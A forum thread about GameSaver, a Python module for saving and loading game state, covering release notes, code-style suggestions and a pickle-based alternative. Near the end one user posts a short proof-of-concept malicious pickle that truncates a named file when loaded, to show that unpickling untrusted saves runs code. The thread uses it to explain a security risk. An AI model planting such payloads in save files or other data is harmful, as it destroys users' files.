GameSaver: A Saving and Loading Module

GameSaver is a module intended to simplify the implementation of game -saving and -loading.

You can get it here:

Update information:

Version 1.5

This version includes a few changes (such as handling of byte-strings)–but perhaps most saliently, it closes, I hope, the security vulnerability that existed in previous versions.

In short: GameSaver no longer employs “exec” or “eval” in saving or loading!

Usage is essentially the same (although my recommended handling of custom classes has changed a bit).

The result is a little bit less flexible. In particular, there are a few built-in classes for which I haven’t implemented support out-of-the-box. However, it shouldn’t be difficult to add support via the extant “special types” handling.

Furthermore, as can be seen above, the module is now available from GitHub. :slight_smile:

2 Likes

I’d be interested in seeing it, yes :slight_smile:

Fair enough, and I’m glad of it. :slight_smile:

Give me a day or two to get everything together – I’ve put together most of a simple game to act as an example, I believe, and hope to create an even simpler non-game example, as well as put together some documentation and commenting.

All right, I think that I have everything done – please let me know if there are any issues not covered in the documentation, or if there are any questions.

Link.

The zip linked-to above should contain:

GameSaver.py – The module itself.

GameSaverExampleSimple.py – A very simple example/demonstration of saving and loading.

GameSaverExample.py – A simple game that shows a slightly more complex case of saving and loading.

GameSaver Documentation.rtf – A documentation file.

A handful of egg- and png- files – Assets used by the above example game.

Have fun! :slight_smile:

I haven’t looked through it all, but it looks well designed, cleanly written and well documented. Good job. I never imagined a savegame system could be that losely coupled. Most systems I’ve seen so far use a deeply integrated serialisation system.
My own one works similar to that of Django or Unity3D, where you assign class wide attributes that are handled differently for each class instance using the data descriptor protocol. In practice it looks like this:

class C(object):
    f1 = FloatProperty(minimum=0)
    f2 = IntProperty(default=1)
    def __init__(self):
        self.f1 = 3.1   # this will work and look like a float for the object
        self.f2 = 3.14  # this will be converted, in this case rounded 3
        assert isinstance(self.f1, float)      # true
        assert isinstance(C.f1, FloatProperty) # true

The good thing about this is that you can clearly define serialized (to be saved) attributes of any type and you can even constraint them. The downside is that it’s complex under the hood and Python newbies might have a hard time with using this.

By looking through the code I strumbled upon a few lines that are not wrong or anything, but I think could be a bit better readable or flexible. I hope you don’t feel offended by my nitpicking.
Skip the next part if you don’t like coding suggestions.

if isinstance(obj, list):
    for item in obj:
        newEntry.addItem("", item)
elif isinstance(obj, tuple):
    for item in obj:
        newEntry.addItem("", item)
elif isinstance(obj, dict):
    for pair in obj.items():
        newEntry.addItem("", pair)

you can write

import collections
addItem = lambda item: newEntry.addItem("", item)
if isinstance(e, dict):
    filter(addItem(i), e.items())
elif isinstance(e, collections.Iterable): # any other iterable than dict
    filter(addItem(i), e)

or you could simply try to iterate without checking in a try…except block (try…except is common practice and way performance cheaper than one might think).
Using one of those will also catch other iterables like sets, strings, self-built ones and so on, giving much more flexibility. Only dicts need a special handling. If you need the results of filter, use map() or a nested list comprehension. This is more of a personal preference. I bet many people will find the for loop more readable.

  • Better than
elif isinstance(obj, types.FunctionType):
    ...
elif isinstance(obj, types.MethodType):
    ...

you could write

if callable(obj):
    ...

This way you catch all objects you can call, e.g. classes and other objects with call.

  • This
notFoundSpecialType = True
i = 0
keys = GameSaver.specialTypeDictionary.keys()
while i < len(keys) and notFoundSpecialType:
     if isinstance(obj, keys[i]):
        notFoundSpecialType = False
        newEntry.addItem("", GameSaver.specialTypeDictionary[keys[i]].saveFn(obj))
    i += 1
if notFoundSpecialType:
    newEntry.dataList.append(str(obj))

could be rewritten as

foundSpecialType = False
for specialType, noIdeaWhat in GameSaver.specialTypeDictionary.iteritems():
    if isinstance(obj, specialType):
        foundSpecialType = True
        newEntry.addItem("", noIdeaWhat.saveFn(obj))
        break
if not foundSpecialType:
    newEntry.dataList.append(str(obj))

It isn’t really that much less code, but a for loop reads better than a while with index IMHO. Oh and for booleans rather don’t use negated forms, or you’ll get things like “not not not found” :smiley:

  • And as last, rather than writing so much
result += "Game Save Entry: " + str(self.objType) + " " + str(self.loadFn) + "\n"

you could use the new style format function:

result += "Game Save Entry: {} {}\n".format(self.objType, self.loadFn)

or

"\n".join(result, "Game Save Entry: {} {}".format(self.objType, self.loadFn))

That function also allows many other formating options and is very useful when combining many items. Using join you can also combine multiple lines simply putting them into that function rather than writing \n at the end of each one, which one forgets quickly. Again, this is all personal preference, I guess. :stuck_out_tongue:

Keep up the good work and have a nice day.

PS: I’m applying for the longest post ever award! :smiley:

Ah, thank you very much, both for the comments and the suggestions!

Loose coupling was a big part of what I wanted for this module, as I recall: this is something that I want to be able to re-use for other projects, without sitting down and re-writing chunks of it to deal with differences between games. Saving and loading can be a bit of a nuisance, I find, and – hopefully – this makes things a bit easier. At the least it should remove the bother of coming up with a file format, coding a system to produce and read that, then sitting and debugging the thing, especially when changes come to be made to that format.

As to the suggestions regarding coding style and potential improvements, don’t worry, I appreciate them! I’ve looked over what you’ve suggested, and I’ll likely implement at least some of them.

As to the naming of booleans, I think that I use whichever I find most convenient at the time: if I’m only ever interested in whether something is not the case, I prefer to store that rather than have “while not someBooleanName”, I feel. :stuck_out_tongue:

I do see what you’re saying about multiple negation, however; it might be something for me to look out for.

I’ll confess that there’s still a fair bit that I am learning or have yet to learn about Python, I daresay, so thank you for the tips. For example, I only recently learned about str.format, and while I’d heard about new-style classes I hadn’t really given them much thought, I believe. I’ll likely read up further on them now.

All right, I’ve uploaded a new version; while the link is the same as before, I’ve added it (as well as an updated file list) to the first post of this thread, I believe.

My changes and decisions (or at least some of them), I believe:
Perhaps most importantly, GameSaver should now pass on IOExceptions raised during loading or saving (and the examples should now reflect that). It does still print out to console, however, for good or ill.

I ended up partially using your advice regarding the if…elif chain in addItem, I believe: I’m using Iterable to identify lists and the like, aside from dict and str (the latter as a result of two issues – see below) and callable for callable types.

I ended up treating str separately for two reasons, as I recall: First, everything is saved as a string, and it didn’t make much sense to me to break them down into characters and save each individually. Second, I realised that there was a potential issue in attempting to save strings that contain newline characters; I’ve partially solved this by detecting newlines and converting them to separate “” and “n” characters, but am uncertain of how to reconstitute them without potentially causing issues for users who want to have that pair of characters appear in their strings.

I also decided to stick with the for-loops over filter or map; for one thing I had some problems with infinite recursion happening, and while I think that I found a solution, I felt at the end that the for-loops were rather more readable.

I left the “specialTypes” while-loop as-is; I decided that I found while-loops more readable than for-loops with break statements; similarly, I left the string construction as I had it, feeling that my version was a little more readable, I think.

Totally forgot to mention the space invaders / arcade top-down scroller you built as an example. It’s great!

People, if you don’t look into the game saving code, at least check out the game :smiley:

Haha, thank you! I’m glad that it’s enjoyable, especially for a quick two-ish-day project. :slight_smile:

It would be ironic if GameSaver became more downloaded for access to the game than for the module that said game is intended to demonstrate. :stuck_out_tongue:

You can use the encode/decode methods for this.

>>> original_string = "hello world\n"
>>> print original_string
hello world

>>> encoded_string = original_string.encode('string_escape')
>>> print encoded_string
hello world\n
>>> decoded_string = encoded_string.decode('string_escape')
>>> print decoded_string
hello world

>>> decoded_string == original_string
True

Didn’t know about that one. Thanks!

Ah, wonderful – this seems to work very well! Thank you very much! :slight_smile:

I’ve updated the module, I believe; the link in the first post should now provide the module with this fix incorporated (and a demonstration included in the simple example).

It’s nice and all… but I think you are reinventing the wheel here:

>>> import cPickle
>>> class Example(object):
	def __init__(self):
		self.value = 42

		
>>> a = Example()
>>> a.value /= 2
>>> data = cPickle.dumps(a)
>>> print data
ccopy_reg
_reconstructor
p1
(c__main__
Example
p2
c__builtin__
object
p3
NtRp4
(dp5
S'value'
p6
I21
sb.
>>> b = cPickle.loads(data)
>>> b.value
21
>>> print b
<__main__.Example object at 0x02CB2210>

docs.python.org/2/library/pickle.html

I’ll confess that I haven’t looked into Pickle to any great depth; does it allow one to specify which elements get saved, allow for a method call on restoration of a given element (such as in cases in which there is logic to be performed after loading)? How does one go about handling cases in which an object refers to another, non-member object, both of which are to be saved? (For example, if we have two objects to be saved, A and B, and a contains a references to B which we want to save without duplicating B, how do we go about saving that?)

It’s a fairly low level function. It dumps the whole object you pass into it. So, if you want to save only a handful of values, it’s a waste to dump the whole instance… Just put the values into a list and dump it instead. For restoration… If you have a way to initiate the loading process, you should be able to access those objects yourself anyways, so it shouldn’t be a problem to write a wrapper for it that can do just that.
Pickle works with pointers, so no object is wastefully dumped twice in a single call (except primitives like integers). That means that it’s beneficial to dump everything you want to save into a single object and save it in a single pass.
Of course, you can always write some higher level wrapper around it.

On the other hand, I suppose that GameSaver is intended to be a relatively high-level module; the basic idea is that one doesn’t have to worry about the file format, perhaps has less worry about whether adding a new variable to be saved or restored for a given class will break things.

As to objects referring to other objects, I suppose that under Pickle one could have some form of special string or identifier object that gets pickled, and which is then restored once all objects have been loaded.

Another thought occurs to me: is a file written by Pickle human-readable? While less space-efficient, having a somewhat-readable file can sometimes help in debugging, I seem to recall having found.

In all fairness, GameSaver might be overkill in some cases, and I do agree that there’s significant overlap, but from your description it does seem to me that GameSaver adds some ease-of-use, especially in somewhat complex cases. For myself, I think that I’m also inclined to prefer against saving all elements of an object – I prefer to leave out elements that are programmatically generated, for example – and so prefer a system that approaches saving by only saving specific elements.

There’s always a risk with picke. Someone could dowload a save from the net and since in a picke there could be any python code then loading that ‘save’ could as well delete some files, or download and run a virus.

wezu: pickle does not save python code, only the data. When you save an instance, all that gets saved is a reference to the source code of its class and the instance specific data. Then it’s no less safe than Thaumaturge’s approach.

You don’t need to do any magic… pickle handles object references quite well.
As you can see in my previous post, the data is not as readable as yours, but all the variable names, strings, class names, etc, can be seen.

I don’t think it’s a huge issue that some extra data gets pickled. The process is fast, as it is written in C and the file is as small as it can be. But some higher level approach, of course, can be written. Pickle provides huge amount of possibilities, as you can pickle almost any object (even panda’s Vectors, etc…)

A little api similar to yours:

import cPickle as pickle
import copy

class SaveableObject(object):
    def __init__(self):
        self._exclude_set = set()
    
    def _prepareSave(self):
        self.onSave()
        selfcopy = copy.copy(self)
        for key in self._exclude_set:
            selfcopy.__delattr__(key)
        del(selfcopy._exclude_set)
        return selfcopy

    def excludeAttr(self, *names):
        for name in names:
            self._exclude_set.add(name)
    
    def onSave(self):
        pass

    def onLoad(self):
        pass

class GameSaver(object):
    def __init__(self, _reftable = None):
       object.__setattr__(self, 'reftable', _reftable if _reftable else {})

    def __getattr__(self, name):
        try:
            return self.reftable[name]
        except KeyError:
            raise AttributeError

    def __setattr__(self, name, obj):
        if not isinstance(obj, SaveableObject):
            raise TypeError
        else:
            self.reftable[name] = obj

    def _prepare(self):
        savetable = {}
        for name, obj in self.reftable.iteritems():
            savetable[name] = obj._prepareSave()
        return savetable

    def _recover(self):
        for obj in self.reftable.itervalues():
            obj.onLoad()

    def saveToFile(self, fileobj):
        pickle.dump(self._prepare(), fileobj)

    def saveToStr(self):
        return pickle.dumps(self._prepare())

    @classmethod
    def loadFromFile(cls, fileobj):
        table = pickle.load(fileobj)
        self = cls(_reftable = table)
        self._recover()
        return self

    @classmethod
    def loadFromStr(cls, string):
        table = pickle.loads(string)
        self = cls(_reftable = table)
        self._recover()
        return self

class TestClass1(SaveableObject):
    def __init__(self):
        super(TestClass1, self).__init__()
        self.val1 = 47 # Primitive, will be duplicated
        self.val2 = "not a number" # Pointer, will not be duplicated

    def onLoad(self):
        print "Locked and loaded!"

    def onSave(self):
        print "They came back to save us!"

class TestClass2(SaveableObject):
    def __init__(self, ref = None):
        super(TestClass2, self).__init__()
        self.ref = ref
        self.val1 = 30
        self.val2 = 99 # We will exclude this value
        self.excludeAttr('val2')

    def onLoad(self):
        print "Here I come!"

    def onSave(self):
        print "Now let's get back to the HDD"

test1 = TestClass1()
test2 = TestClass2(test1)

saver = GameSaver()
saver.test1 = test1
saver.test2 = test2
data = saver.saveToStr()
print data

loader = GameSaver.loadFromStr(data)
test1L = loader.test1
test2L = loader.test2
print test2L.ref.val2
print test2L.val2 # Raises an error... you would have to reload this in onLoad
import pickle, new

def nasty(module, function, *args):
    return pickle.dumps(new.classobj(function, (), {
    '__getinitargs__': lambda self, arg = args: arg,
    '__module__': module
    }) ())

# Create the evil pickle
t = nasty("__builtin__", "open", "some_important _file.txt", "w")
#save it to file
out=open( "save.p", "wb" )
out.write(t)
#load it
pickle.loads(t) 

This is a example. It will create a pickle that when loaded will open for writing (delete it’s content) a file called ‘some_important _file.txt’
It’s not a very likely scenario but it could happen.

Oh… I had no idea pickle will actually run python code just by loading it.